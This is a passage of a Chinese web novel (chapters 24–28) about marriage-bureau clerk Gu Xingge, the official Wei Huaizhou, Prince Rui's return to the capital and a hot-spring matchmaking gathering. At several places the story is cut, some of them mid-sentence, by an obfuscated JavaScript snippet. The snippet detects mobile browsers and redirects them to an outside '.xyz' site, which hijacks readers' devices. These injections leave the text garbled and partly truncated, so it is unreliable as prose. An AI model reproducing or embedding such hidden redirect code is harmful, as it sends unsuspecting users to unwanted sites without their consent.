说到底,这次要不是赵清提醒,她哪能这么快就把那张银票的弯弯绕绕想明白? 赵清这人吧,脾气是冲了点,说话也不怎么好听,但心思细得很,而且从来没真跟她较过劲。 比如当年,顾行歌刚到合婚司,连婚书怎么写都不懂,偏偏还不肯低头问人,还是赵清悄悄把案卷准备好,一点一点地教给她。 再比如那回因着秦将军的亲事差点打起来,众人避之不及,唯恐惹祸上身,赵清却明知道挡不住,还是第一个怯生生地站了出来,硬生生护在她前头。 如今一桩桩细细数来,这小子倒是一直没撂下她。 更别说这几年里,他跟着自己这个主簿,风里来雨里去、亲事一个接一个地跑,活是没少干,俸禄却从来没涨过一文。 顾行歌越想越不是滋味,心里也有些发涩。她轻轻叹了口气,伸手拍了拍赵清的肩,想着说点什么缓一缓气氛,哪怕是道个歉也行。 结果还没等她开口,赵清却先别别扭扭地开了口:“主簿,是我方才不好。” 他说这话时,声音不大,脸却执意地扭向一边。顾行歌看着他,忽然有点想笑,偏偏还得憋着,只得装正经道:“我做的也不好。” 赵清听她这么说,立刻把头扭了回来,咬牙切齿地道:“我知道你答应孟大人,是为了咱们合婚司好……可有时候吧,这孟大人,实在是有点仗势欺人。我就是气不过。” 顾行歌点点头:“我明白。老师他吧,确实有点烦人。” 赵清立马接话:“是很烦人!比魏大人还烦。” 顾行歌无奈地叹了口气,没辩解,只低声道:“好吧,很烦人。” 两人对视了一眼,终于忍不住,同时笑出了声。 方才那点尴尬的气氛,也跟着笑声烟消云散了。 顾行歌放松下来:“如果一会儿真能找到财宝,不急着交给大理寺,咱们四个先去浮云居大吃一顿,糯米甜藕,红烧蹄膀,全都点上。” 赵清一听,立刻接话:“主簿你这样,可不厚道啊。” 顾行歌脸上微微一热,刚要辩解一句“自然是花这次的赏银”,赵清却忽然笑了,语气一转:“那当然是得再来一壶桂花酿,就当是那江员外请的!” 二人你一句我一句,说得热火朝天,仿佛那财宝已经到手,浮云居佳肴的香气已经飘到了眼前。 等到了钱庄,那掌柜接过银票,反复核对了一番,居然真就吩咐人从后头搬出一个木盒来。 那盒子看起来竟有两尺长,盒身雕着金色纹饰,看上去分外贵重。 顾行歌与赵清不由得屏住了呼吸,几乎是同时凑了上去。 掌柜小心翼翼开了锁,掀起盖子。 然而,就在木盒开启的那一瞬间,两人脸上的笑容齐齐凝固了。 里头没有黄金,也没有珠宝。 只有一张纸。 准确说,是一张标着从云洲到京城,所有陆路水路、驿站关隘的舆图。 -- 城东崇仁坊,大理寺内。 已是深夜,整个官署早已没了光亮,四下一片寂静,唯有少卿的书房里,还亮着一盏孤灯。 秦若木在门外犹豫了好一会儿,终是抬手敲了两下。 “进来。”魏怀州的声音传来。 秦若木推门而入,只见书案上堆满了半人高的卷宗,唯独最中间,却摊着一张有些泛黄的舆图。魏怀州坐在那里,目光沉沉,一直盯着那舆图。 “公子,”秦若木轻声道,“明日一早还需入宫,不若早点歇息?” 魏怀州未应,只抬手在图上一点,道:“你看这里,云洲东边,与江南诸郡的水路的交汇之处。安成侯,便是沿着这条水路,私运红雁花进京的。” 秦若木顺着他手指的方向看过去,皱起眉头。 魏怀州又指了指图的最上端:“从云洲到京城,途经不少州郡,这图绘得极细。唯独到了北边,云洲与凤州、鹤州交界一带,却是一片空白。” 秦若木闻言,神情一敛:“公子的意思是,有人故意做了遮掩?” 魏怀州没有立刻回答,只盯着那一片模糊地带,良久,才道:“我也不能确定。但这舆图连山间小道都详细记载,唯独这一片含糊其辞,若不是疏漏,那便是刻意为之。” 秦若木微微颔首,正欲开口,一阵风自门缝灌入,卷起案上的舆图。 魏怀州猝不及防,打了个喷嚏。他一向体质强健,竟也有这样的时候。 秦若木这才忆起,那日魏怀州方才审完何宛枝,又马不停蹄地去缉捕钱大,一连几夜未曾阖眼。如今身上只穿着一件单衣,竟也不曾觉寒。秦若木也不再多言,取了件外袍,替他披上:“许是前几日在坊间蹲点,染了风寒。还是早些歇息为好。” 魏怀州略偏过身,未推拒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070727|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只道:“无妨。”说完,仍低头看着案上的舆图。 秦若木顺势说道:“说来,这舆图若不是顾主簿及时发现,我们还真不一定能找到。她可真是帮了大忙。” 魏怀州语气略有松动:“她确实聪明。” “只是……” “只是?”秦若木抬眼。 魏怀州一本正经道:“只是这样聪慧的一个人,却一门心思扑在撮合姻缘上。姻缘这事,真的有那么重要吗?” 他说这话时,眉头微蹙,倒是听不出任何嘲讽的意思,倒像是真的不解。 秦若木忍不住笑出了声:“公子既然不解,何不亲自去问她?” 魏怀州沉思片刻,最终摇了摇头,淡声道:“罢了。” 秦若木望着他这副模样,心中忍不住叹了口气。 或许是当年旧事的缘故,又或许从小在那种地方长大,身边一直无人引路,公子,到底是不懂人间情爱的。 但这话他终究没说出口。 他改口道:“顾主簿的老师,是户部那位孟忧之大人。当年是他一手把顾主簿提拔进户部的。”他顿了顿,似是斟酌词句,“那时因这事,户部闹得不小,坊间也有过流言蜚语……说他们师徒之间,关系未必那么简单。” “那孟大人就是个爱热闹的性子,顾主簿受他影响颇深,乐于拉郎配对,倒也不奇怪。” 秦若木话音刚落,便觉周遭气压骤降。 只见魏怀州眉头一拧,冷冷地看他一眼:“秦若木,你也开始传这些无稽之谈了?” 秦若木一惊,意识到自己失言,连忙低头赔罪:“属下知错了。” 屋里一时间静了下来,只能听到外面的风声。 过了好一阵,秦若木背后都渗了薄汗,才听魏怀州开口道:“那孟忧之……是不是就是那个,每日骑着高头大马,非得在宫门口才肯下马的那位?” 秦若木小心翼翼回答:“正是。” 魏怀州又问:“坊间传他是朝中最俊的文官?” 这下秦若木真有点接不上话了,只好硬着头皮答了一句:“也正是。” 可他死活想不通,自家公子怎的忽然问起孟大人来,还这么在意俊不俊俏这回事。 难不成……他也听说了今日新出的《京中女眷议亲榜》?知道孟大人这回终于冲上榜首,而他自己却被挤到第二? 只是公子,最后一名也是你啊。 想到这里,秦若木打了个激灵,赶紧补充:“不过那位孟大人啊,早些年倒是因模样俊,闹出过不少风波。听说有几家女眷因为他大吵大闹,他索性就一直没成亲了。如今年过三十,怕是也没人真敢嫁了……” 魏怀州不说话。 秦若木只见他坐在灯下,背影被烛火拉得老长,落在墙上,一动不动。 过了好一会儿,魏怀州才低声道:“我累了。你先下去吧。” 秦若木应了一声,转身退下,手才碰到门板,就听魏怀州在身后悠悠地来了一句: “对了,明日给我也备一匹好马。” 他语气平稳如常,听不出什么情绪。 只是末了,才慢悠悠添了一句:“我要骑马进宫。” 25. 相看相厌(一) 八月初十,正午时分,日头极盛。 京郊官道旁,旌旗招展,一众京官排成两列。最前头站的是几位官阶不低的老大人,个个躲在槐树荫底下,手里摇着折扇,脸上汗一层接一层。后头的青衫小吏们则苦哈哈地站在烈日下,各个都被晒得愁眉苦脸。 顾行歌这种无名小卒,自然在最后一排,别说树荫,连块树叶遮头都抢不上。她脑门上直冒汗,背上的衣裳都粘在背上。 这一溜人马,都是奉旨出城,来迎接从鹤州返京的西平王李睿。 顾行歌站在日头下,几乎要被晒化了,她勉强踮起脚往前看,树荫底下虽说凉快,可那几个老大人也被晒得够呛。只见前头一个穿着绯色官服、脑门发亮的老大人终于忍不住了,揩了一把汗,低声道: “我说,这不是那位睿王吗?当年他还在京城的时候,咱们哪回兴师动众迎过他?现在倒是摆这么大阵仗,叫我们这些糟老头子在这儿晒着,图什么呀?” 另一位身着绀色官服的官员闻言,轻轻哼了一声,压低声音道:“你是真糊涂了还是装糊涂?如今这位睿王爷,承了西平王的名头。别忘了,那老西平王可是当今圣上的亲兄弟,当年战死沙场,殉国有名,今年正好是整整第二十年。圣上的这江山,能有一半,是用那位的血换来的。” 他顿了顿,继续道:“再说了,这睿王自打腿伤之后就没再露过面,这回头一遭回京,圣上若是半点面子不赏,传出去,让天下人怎么议论?” 那位穿绛紫色官服的老大人点了点头,似懂非懂地“哦”了一声,紧接着又压低声音道:“话是不错,可我就纳了闷了……” 他抬起下巴,往队伍最前头努了努嘴:“那位,又是为了什么?” “那位”,自然指的是烈日之下、策马站在队伍最前头的魏怀州。 他没穿皇亲国戚的礼服,只着一身大理寺的墨青官袍,腰间悬着佩刀,长身玉立。孤零零地骑着马立在骄阳底下,竟比头顶的日头还刺眼几分。 绀官服那位官员听他一说,倒吸一口凉气:“你不要命啦?哪壶不开提哪壶?” 绛紫官服那位一撇嘴,目光在魏怀州身上一扫,声音压得低低的:“西平王的头衔是怎么来的,谁心里没点数?二十多年前魏家在云州边搅得天翻地覆,说句不好听的,那时要不是前头那位西平王拼了命,云州怕不是早被西陵人当战利品分了去。他魏怀州倒也好意思,今儿个大摇大摆跑来接驾,真当咱们都健忘?” 这话刚出口,站旁边的绀色官服的差点没把扇子拍他嘴上。 “祖宗诶!”他脸都白了,赶紧扯他胳膊,“小点声成不成?这儿人多嘴杂的,前些日子你亲家那事,不还是魏大人查的?你要真想报复,也别拿脑袋去顶啊!” 他顿了顿,声音又压得更低:“再说了,魏大人跟睿王再怎么生疏,可到底也是有血缘的,可快别说了……” 这边老大人们斗嘴斗得起劲,烈日下,后面的一群小官吏们早都快被晒成一笼蒸馍,眼看着快蒸熟了。 顾行歌夹在其中,强打着精神站着。她的脑子已经有点发涨,隐约只听前面唧唧歪歪说着什么“云州”、“殉国”、“亲戚”…… 她还在死撑,心道:再忍一忍,等睿王一露面我就……我就…… 下一刻,耳边嗡的一声,她眼前一黑,顾行歌干脆利落地往后一倒。 烈日当头,魏怀州策马立于队伍前头,身后旌旗猎猎作响。他原本只是无意间回头一瞥,谁知就看见后头那片青衫之中,“啪”地倒下一个。 官吏们炸了锅,有人喊:“快,快扶起来!” “水,水呢,谁他娘的带水了?” “哎哟我说是哪个倒了,怎么这时候晕呢!” 几名小吏慌忙上前,七手八脚地把顾行歌抬到了树荫底下,有人在喂水,有人扇风,场面一度比接驾还热闹。 此时,地面隐隐传来震动,看来睿王一行马上就到了。 魏怀州看了一眼宫道尽头扬起的尘土,正打算拨马迎上。毕竟晒晕的小吏他见得多了,这边又有医官围着,按理说,实在轮不到他去操这份心。但下一刻就听有人喊道:“顾主簿啊,你醒一醒!” 魏怀州手里缰绳一顿,竟然是她。 他眼底微微一动,刚想策马过去,就见前方人群突然一阵骚动,一个身影挤开众人,直奔顾行歌而去。 是户部的那位孟忧之。 魏怀州还在原地,手搭在缰绳上,没动,只远远地看着那人半跪在顾行歌身前,抬手探她额头,又试她脉息,唤着她的名字。 魏怀州没说话,只皱了皱眉,心里觉得麻烦。 但具体是睿王即将抵京的麻烦,还是顾行歌晕倒的麻烦,他也说不清。 -- “顾主簿,顾主簿!” 耳边是急切的呼声。 顾行歌缓缓睁开眼,天光太亮,晃得她下意识眯了眯。再睁眼,映入眼帘的是一张熟悉的脸。 “王公子?”她嗓子干得厉害。 王景正蹲在她面前,一脸“吓死我了”的表情,手里还握着把扇子,正拼命给她扇风。见她醒了,才长长松了口气。 “可算醒了。”他说,“我说顾主簿,你这也太能挑时候了。” 方才顾行歌一倒,他就被魏怀州硬生生地提溜着过来。更古怪的是,那位还非让旁人都散开,偏只留他一个看顾。 他又不会施针点穴,也不通药理,只能在这扇风。让他留下图什么?就因为自己跟顾主簿比较熟吗?那魏怀州他自己不是更熟? 真是搞不懂。 顾行歌见他一脸汗,自己却躺在地上,顿时有些不好意思,撑着手坐起身:“多有劳烦,实在抱歉。” 王景见她恢复了大半,笑了笑,半开玩笑道:“顾主簿,你还是得多练练身子,怎的一见日头就倒了?” 顾行歌讪讪笑了一下,她这不是没练,是练过了头。 自打将何流云招进合婚司,每日里便被这位流云姑娘按着练武,不练不许吃馄饨那种。赵清和老郑一开始也跟着热血了一阵,如今一个三天两头请假养病,另一个说自己要陪着妻儿回乡省亲, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095431|175972||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都跑得比兔子快。 偏偏这节骨眼上,又赶上睿王回京,合婚司得着手安排亲事。一堆人都跃跃欲试,想攀这门高枝,但偏又都不敢先表态。原因无他,谁也不确定这位睿王的伤势如何,到底能不能站起来。 为此,顾行歌每日都在做说客,劝完东家劝西家,说得唇干舌燥,成效却寥寥。 她揉了揉脑袋,往四周看了看,方才还热热闹闹的百官,这会儿却都不见了。 王景见状,忙开口解释:“魏大人方才亲自迎了睿王入城。只是他们还要从东大街那边绕一圈。这回睿王重回京城,又是圣上钦点的行程,总得走一遭,让百姓瞧瞧。眼下估计还没到宫门口。” 顾行歌一听,忙挣扎着站起身来,脑袋还晕着,但语气很急:“那不成,我得去接睿王。” 王景赶忙小心翼翼地扶了她一把:“慢点,慢点。” 瞧她脸上带着那股百折不挠的劲儿,王景一时间竟有些动容。他正了正神色,说道:“顾主簿,没想到你竟这般心怀国事,连烈日当头也拦不住你替朝廷奔走……王某,深感钦佩。” 顾行歌一脸虚弱:不是……不是你想的那样啊…… 她其实只是单纯想看看那睿王到底能不能站得起来。 若是站不起来,她得想好怎么去和有结亲想法的京中贵胄们打太极。若是站得起来,那些京中权贵家的待字闺中估计又要跃跃欲试。此事关乎合婚司今年年底的考科和赏银,纯属金钱的需求,绝无半分大义情怀。 可王景已经深深误会了,握拳郑重其事地说道:“既如此,我必倾我所能,护你周全,助你一臂之力。” 顾行歌:“?” 等她反应过来时,已经被王景一脸庄严地抄小道带到了宫门外。 宫门外,魏怀州骑在马上,身形挺拔,看不出悲喜。 他身后,是一顶八人抬的轿子,轿身非皇家惯用的明黄朱红,却是低调的灰青,虽不张扬,却一看便知等次极高。 顾行歌来的正巧,赶上睿王在宫门前下轿。 她正好挤在百官中,原本已经汗流浃背,这会儿却下意识抬起头,连汗都顾不上擦,只紧紧盯着那顶轿子。 只见轿帘轻轻一掀,一道人影缓缓映出。 那人穿一身素色锦袍,裁剪极合身,肤色竟比京城最娇贵的闺中小姐还白上三分,五官清俊,眉目如画,竟半点看不出西北风沙的粗粝痕迹。 他没等人搀扶,自顾自地伸手按着轿沿,慢慢站起身来。 众人屏气。 睿王自己下了轿,朝宫门方向缓缓一拜,姿势端正。 顾行歌心头一热:能走!能拜!这说明腿虽有伤,但也…… “咚!”一声闷响打断了她所有念头。 睿王整个人仿佛被抽去了所有力气,竟就这么身形一歪,重重地栽倒在了宫门前。 人群发出一阵低呼,顾行歌脸上还挂着方才的笑容,还未收回来。 睿王不急不慌,双手撑着地,抬头朝众人露出一个极其温和的笑容:“果然,还是不行。” 26. 相亲大会(二) 长庆宫的御书房内,所有的宫人们皆退到殿外,殿中只留下几位最得圣眷的重臣在内。 睿王已被太医抬去最西头的偏殿诊治,此时御书房内的气氛异常沉闷。 皇帝揉了揉眉心,叹了口气。 大齐自开国不过百年,便在这片大陆内成就一方盛世,着实不易。可盛世之下,免不了虎狼环伺。西陵国在侧,更有北方诸多小国如同冬日的孤狼,远远蹲伏,皆是眼巴巴盯着这块中原的肥肉,只待一口咬下。 大齐能一路行至今日,靠的不过两支铁血之师:一是魏家军,镇守云洲。一是西平王麾下之兵,驻守鹤州。他们一同替大齐稳住了西陲十数年。 直到二十年前和西陵国的那场战争。 西陵国,皇姓朗,本是逐水草而居的游牧族。二十多年前,他们铁骑东攻,打到了魏家军,硬生生夺下云洲。那一战,西平王亲自挂帅,才将云洲夺回。只是,他也因此丢掉了半条性命,没过几年,便病逝于京城。 而西陵国自此一战后,分裂成无数部落。直至数年前,西陵王庭方由三皇子朗延占领,一统大半疆土。但余下的版图,仍被大皇子朗仁死死握在手中。此人盘踞西陵旧都,又与北方数国交好,兵马精锐,势力之强,不容小觑。 大齐与三皇子朗延结盟之后,朗仁视这为心腹之患。去年起,便带着精锐小部队屡次骚扰大齐边境。数次冲突,皆是睿王亲自挂帅,方才稳住阵脚。 只是,这一役中,睿王从马上坠下,摔了腿。 皇帝本就因二十年前的事,对睿王这个侄子心底存了几分亏欠。如今眼见他在宫门前直直跪倒,且不说骨肉之情,就算只是君臣的关系,也容不得这等场面。堂堂镇守一方的将领,腿伤未愈,还要在宫门前行大礼?让朝中百官,乃至天下人,又该如何看待他这个皇帝。 他眉头一拧,回首盯向魏怀州,少有地连名带姓叫了他:“魏怀州,他说能站,你就让他站?你倒是多看一下啊。” 魏怀州垂首抱拳,沉声应道:“是臣的错。” 他看起来还是一副沉稳的模样,只有他自己知道,双手早已沁满了汗。 方才在城外迎到他的这位表兄。一路上睿王言笑晏晏,神色如常,像是毫无大碍。 依京中旧例,在外将领回朝,须在宫门外行祭拜之礼。魏怀州按规矩询问过,睿王更是亲口说了“无妨”,他便没再多嘴。只是万万没想到……终究是自己疏忽了。 皇帝听着他规规矩矩地认错,心头那股火气非但没有消下去,反倒越压越盛。明知魏怀州必是查探过的,这意外未必全由他疏忽所致,可这人,总是这样,不辩,不解释,把所有喜怒都藏着,让人琢磨不透。 他注视着魏怀州的眼睛,像要找出点情绪波澜来,可对方神色沉静,连呼吸都没有乱。 像极了他的那位好皇妹。 记忆深处,那双同样平静得过分的眼睛一闪而过,令皇帝心口微微一闷。 养了这些年,这孩子,怎么还是养不熟? 皇帝终是泄了气,抬手一挥:“罢了。” 此时,太医快步入殿,跪地叩拜。 皇帝几乎是迫不及待地追问:“如何了?” 太医道:“睿王殿下,方才也只是些擦伤,已经处理妥当。只是那腿……旧伤未愈,又添新患,还需静养。” 魏怀州听到此处,琢磨起来。新的伤?可这一路从鹤州到京城,他未曾听闻半句睿王再次受伤的消息,难道是,在哪里自己摔的? 皇帝问道:“那他日后还能站得起来么?” 太医沉吟片刻,似在斟酌用词:“回陛下,若只是寻常起立行走,自无大碍。但若要如边军将士般驰骋沙场,臣恐怕难保……” 这话一出,殿内的几位重臣神色各异,却都悉数噤声。对于睿王而言,这已不单是走的问题,而是关乎他的尊严与立身之本。一名镇守一方的将领,若连策马奔腾都做不到,无异于已经将半条性命交给敌人了。 殿外传来细细簌簌的声音,一名宫女推着一辆轮椅缓缓而入。 殿中几位臣子纷纷垂首,不敢多看。 坐在轮椅上的睿王已经换去方才的锦袍,穿了一身素色的常服,面色虽苍白,却目光依旧很亮。才刚进了御书房的大门,他便撑着扶手要起身行礼。 皇帝连忙起身,抬手按住他肩:“你腿伤未愈,莫要再逞强。” 睿王顿了顿,终是抱拳俯首:“臣终究还是失礼于陛下。” 皇帝看着他,眉宇间掠过一丝探究,却又压下去,低声道:“你我之间,不必拘这些虚礼。” 睿王闻言,抬眸一笑:“此番返京,沿途见百姓安居乐业,皆是陛下之功,臣心中唯有钦服。” 皇帝一听这话,心中的郁气消了不少。他看了睿王一眼,又看向一旁的魏怀州。似是透过眼前两人,看到许多年前的光景。那时,宫苑深处,几个年幼的兄弟姐妹曾一同追逐嬉闹。 如今想来,那个热闹的景象早已成了旧梦。那些兄弟姐妹,或战死疆场,或被赐死,或远嫁他国,或削发为尼,到如今,竟只剩自己,还算是“完乎”的人。 一声叹息埋在心底,皇帝收回目光,缓缓道:“你父亲葬在太白山麓,陵前不远处,有一处温泉山庄,泉水暖润,最适合养伤。等过几日祭拜完你父亲,便在那里住些时日,好生休养。” 睿王抱拳应下:“谨遵旨意。” 皇帝又转头看向一旁的魏怀州:“怀州,你们兄弟俩也多年未见,不如随他一道走走。再从京中挑几位年轻人作伴,免得清冷。” 魏怀州微微一怔,显然没料到会突然点到自己:“可臣手头还有案子未结……” 皇帝脸色当即沉下来,像是被这句话生生噎住:“什么案子?每回让你来宫里看看我,你都是推三阻四,这回让你去陪陪你表哥,怎么都这么多话?你也给我去那温泉池子里泡着!” 眼看皇帝发了火,魏怀州只得低头应道:“……臣领旨。” 倒是睿王笑了笑:“怀州还是和小时候一样,一点都没变。” 魏怀州不作声,只微微颔首,算是应了。 皇帝懒得再听他们兄弟叙旧,只摆摆手:“罢了,朕累了,都退下吧。” --< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顺着山庄门口一排排马车看过去,才发现马车装饰各不相同,原来都是京中各朝臣府上的座驾。粗粗一扫,便能认出来,最中间的是严阁老家的,旁边的是京兆尹张大人家,再旁边的是兵部侍郎孙大人家的…… 等等。 魏怀州皱了皱眉:“不对啊,孙大人家根本没适龄女子,只有两个儿子,就算旁支,也全是男的。” 秦若木一脸理所当然:“正是正是,这睿王殿下不是也只能娶一个吗?不如好事成双,办一个……” “相亲大会。” 另一头的顾行歌眯着眼,望着各家的马车喃喃道。 正在马车上搬行李的赵清立刻探出半个脑袋:“主簿,行了吧,这事你都叨叨几天了。”说着,他把行李往地上一搁,抖了抖衣袖,四下扫了一圈,“你看看,这么美的景色,山清水秀,还备着美食美酒。年轻的男男女女都聚在一处,又没事干,可不要太适合相亲了。” 他越说越兴奋:“既然我们来了,什么睿王妃,什么魏大人、孙大人,全给牵上红线,把今年,不对,把明年的合婚司目标一次性全都完成!” 27. 相亲大会(三) 赵清在旁絮絮叨叨说个没完,倒也只有顾行歌听得入了迷。 若这些事都能一一办成,赏银到手,那她可得好好打算打算。 第一件,自然是要换了这破烂马车。方才那小马车塞了他们三个人,只能挨得紧紧的,膝盖顶着膝盖,稍一颠簸就恨不得坐进对方怀里,狼狈得很。 再给阿爹阿娘买几匹上好的绸缎做身体面衣裳。阿娘常叮嘱她为人要低调,那便挑个不太张扬的颜色,可料子还得是上等的。 顾行歌越想越得意,嘴角不受控地往上翘,完全没注意到身边有人走近。 魏怀州慢悠悠往这边来,瞧顾行歌笑容满面,眉梢微微一挑。 顾行歌与赵清还傻乐呵着,直到一旁的何流云轻轻扯了扯她的袖子,低声道:“主簿,有人来了。” 顾行歌这才依依不舍地从美梦里回过神来,抬眼一看,魏怀州不知何时已站在她面前。 顾行歌吓了一跳,下意识往后退了一步。 魏怀州瞧见她这动作,眉梢的那点微妙的喜色瞬间褪得干干净净,神色又恢复成了那副不冷不热的模样。沉默了片刻,他才淡淡道:“身子可好些了?” 顾行歌愣了愣,这才想起他说的是那日迎接睿王时自己晕倒的事,顿时有些不好意思:“多谢魏大人关心,那日……王公子一直在照看我,如今已经无碍了。” 王公子? 王景? 怎么就只记得他? 魏怀州眼底闪过一丝不易察觉的不悦。片刻后,他才说道:“这里的温泉水质极好,顾主簿不妨多在此修养一段时间。” 顾行歌连连点头,恭恭敬敬地“是”,等他抬脚先走了,才悄悄松了口气。 赵清见人走远,才敢凑过来,小声嘀咕:“这魏大人怎么回事,今日说话还怪好听的。” 还未等顾行歌回他,他忽然一拍手,一副恍然大悟的模样:“我懂了!定是魏大人知道,这回咱们合婚司要帮他撮合姻缘!” 顾行歌微微一怔,觉得这话似乎也有那么三分道理,若有所思地“嗯”了一声。 同朝为官也有些时日了,这魏大人虽总是阴差阳错地拆了自己撮合的好姻缘,但这次睿王这桩婚事……顾行歌觉得无论如何也拆不掉了。到时候,不如顺水推舟,帮魏大人也物色一位他心宜的佳人。 这么一想,她心头顿时轻快了许多,肩上的担子仿佛卸下一半,脚步也不自觉轻快起来,带着赵清他们昂首走进山庄。 说起这温泉山庄,还是有些来头。据传是前朝一位皇帝为宠妃所建。那时这位皇帝正值壮年,为博美人一笑,竟调了几百名工匠,白天黑夜连轴转,把这温泉山庄修了出来。 顾行歌一行才进门,刚绕过一道影壁,就被眼前景致震住了。 只见正中一方不小的温泉池,暖雾自池面袅袅升起,仿佛为这山中罩了一层轻纱。水底清澈得能照人影,却半片荷叶都无。池心立着几尊白玉雕成的鱼、龙、莲花等物。鱼鳞片片分明,龙似乎要腾云而起,莲花花瓣上则滴着细细的水珠。 顾行歌虽说见过些场面,这会儿还是忍不住瞪大眼。她蹲下身,把手伸进池水里,连这里的池水都是暖的。 山庄的内侍笑着走上前:“这温泉水是从后山流下来的,绕山一圈,通到各处,整个山庄的水都是温热的。” 再往前走,穿过那方温泉池,便见一座小亭横跨水面,亭子的檐角上挂着铜铃,微风一过,铃铛轻轻作响。 亭子后面则是一座气势不凡的大殿,门额上是“飞霜殿”三个鎏金大字。 内侍带着他们绕过大殿,向左折入一条僻静小道,走了半柱香的功夫,才到一处小院前。仆从推门进去,笑道:“三位就先住在这里吧。院子后方有一温泉池,可随时泡用。我们这儿还有冷泉和药泉,若想换换风格,可去前院的池屋。各位现在此歇息,等到晚膳时辰,我们自会来请。” 院落倒也宽敞,三间净室,各自相邻。 顾行歌送走那内侍后,走到院内的小池旁。只见池水自墙上的一青石管口汩汩涌出,水面腾着细白的雾气,伸手探去,热气瞬间裹住手腕。 “这皇家的山庄,还真是和寻常不同。”她忍不住低声感叹。 顾行歌这边还没感叹完,那边就听到隔壁院子传来一阵喧闹的声音,声音还很大。 顾行歌立刻竖起耳朵。能泡温泉是一桩乐事,看热闹才是乐中之乐。她赶忙打开院门,循声望去,就见不远处的一处院门口正围着七八个人。 这当中,正有一个熟悉的背影拉长脖子往里探。 “这不是熟人么!”顾行歌眼睛一亮,快步过去,拍了拍那人的肩膀。 王景被吓得一哆嗦,回头见是她,这才放松下来,讪讪道:“顾主簿,怎么的,打扰到你了?” 顾行歌探头朝院子里望,只见正中站着一位衣着华丽、满头珠翠的少女,不过十六七的年纪,唇角抿得极紧,眉眼间带着几分娇纵。她身边的侍女正与山庄的内侍唇枪舌剑。 那侍女仰着下巴,趾高气昂:“你们知不知道我家小姐是谁?这山庄一共三间主院,不安排我家小姐去住,偏要让她住这种小院子,你们这是何居心?” 小院子? 顾行歌看了看这“小院子”,比她们那个三个人住的那处大了一圈不止,院中还有假山流水、奇石小桥,一派雅致……这哪是小院,分明是半个园林。 对比一下顾行歌他们住的那个院子,倒像是下人住的了。 不过顾行歌也认得此人。毕竟这回进山庄的少爷小姐,都是她一手负责筛选的。 那满头珠翠的少女,正是严阁老的孙女,严江月。 严阁老是先帝的丞相,如今圣上的帝师。这么排下来,除去睿王和魏怀州,这位严小姐还真是最有资格住进主院的人。 一旁的王景凑近说道:“不是不让她住,是主院早住满了。” 顾行歌算了算:“一间睿王殿下,一间魏大人?那第三间主院,给了哪位?” 王景道:“青州方刺史的妹妹,方自宁。” 顾行歌一愣,努力回想了一遍自己整理的名册,怎么都记不得还有此人:“怎么我倒没见过?” 王景道:“顾主簿可有所不知。之前睿王进京途中遭了埋伏,当时就是这位方小姐救的他。睿王便将这人留在身边。这不,祭祀一结束,就亲口发话让她搬进来。” 顾行歌恍然大悟:“原来如此,还是一桩英雄救美呢。” 那严江月的侍女接着说道:“就算不安排我家小姐住进去,怎么就安排了一个青州来的住到那里,你们这太白山庄还知道谁才是……” 她话还没说完,便被严江月一把打断,她气呼呼地说道:“行了,蕊儿,别说了!等我回去,第一个就告诉爷爷去!” 蕊儿气不过,小声嘀咕:“小姐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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顾行歌暗暗叹了口气,这小姑娘也忒好哄了些。其实按照她的身份,晚膳也定是和睿王坐得近一点的,倒也不用她顾行歌专门去安排。 “那我回去准备了!”严江月说完,珠翠一晃,人已经喜滋滋地转身回屋。 院中顿时静下来,只剩顾行歌和那内侍大眼瞪小眼。 等到顾行歌赶到晚膳处,天色已经全暗下来,山风穿过长廊,带着些许凉意,将灯火吹得轻轻晃动。 赵清和何流云早机灵地溜去了外间的宴席,埋头对着葫芦鸡大快朵颐。顾行歌一眼便瞧见那金黄酥嫩的鸡皮,心里痒得要命,正打算也去那边蹭个位子,忽被一个眼尖的内侍拦下:“顾主簿,这边有请。” 顾行歌只得满腹狐疑地跟着内侍走进飞霜殿,只见殿内灯火通明,香气氤氲,席间已坐了数人,大多都在低声交谈。 最上首的高椅,理所当然是留给睿王的,此时他人还未到。 睿王右下首便是严江月,满头珠翠似乎比方才又多了几件,灯下晃得人眼花。她对面,也就是睿王左下首的位置,坐着魏怀州,神色淡淡,看不出在想什么。魏怀州旁边留着一个空位,再往旁边便是王景,正低着头,动作鬼祟,似乎正偷摸着往嘴里夹什么。 顾行歌心里暗叹,这内侍还算机灵,把严江月安在睿王身边,算是替她省了口舌。 她低着头一路走到宴席末端,瞧那位置正对着一盘葡萄,心里正美滋滋,想着坐下便能先偷吃个葡萄垫垫底。哪知还没落座,就被内侍拦住:“顾主簿,还在前面。” 顾行歌一愣,怎么,今天这待遇有点不对劲啊。 她硬着头皮跟着往前走,越走越心虚,直到内侍在魏怀州与王景之间停下,做了个请的手势。 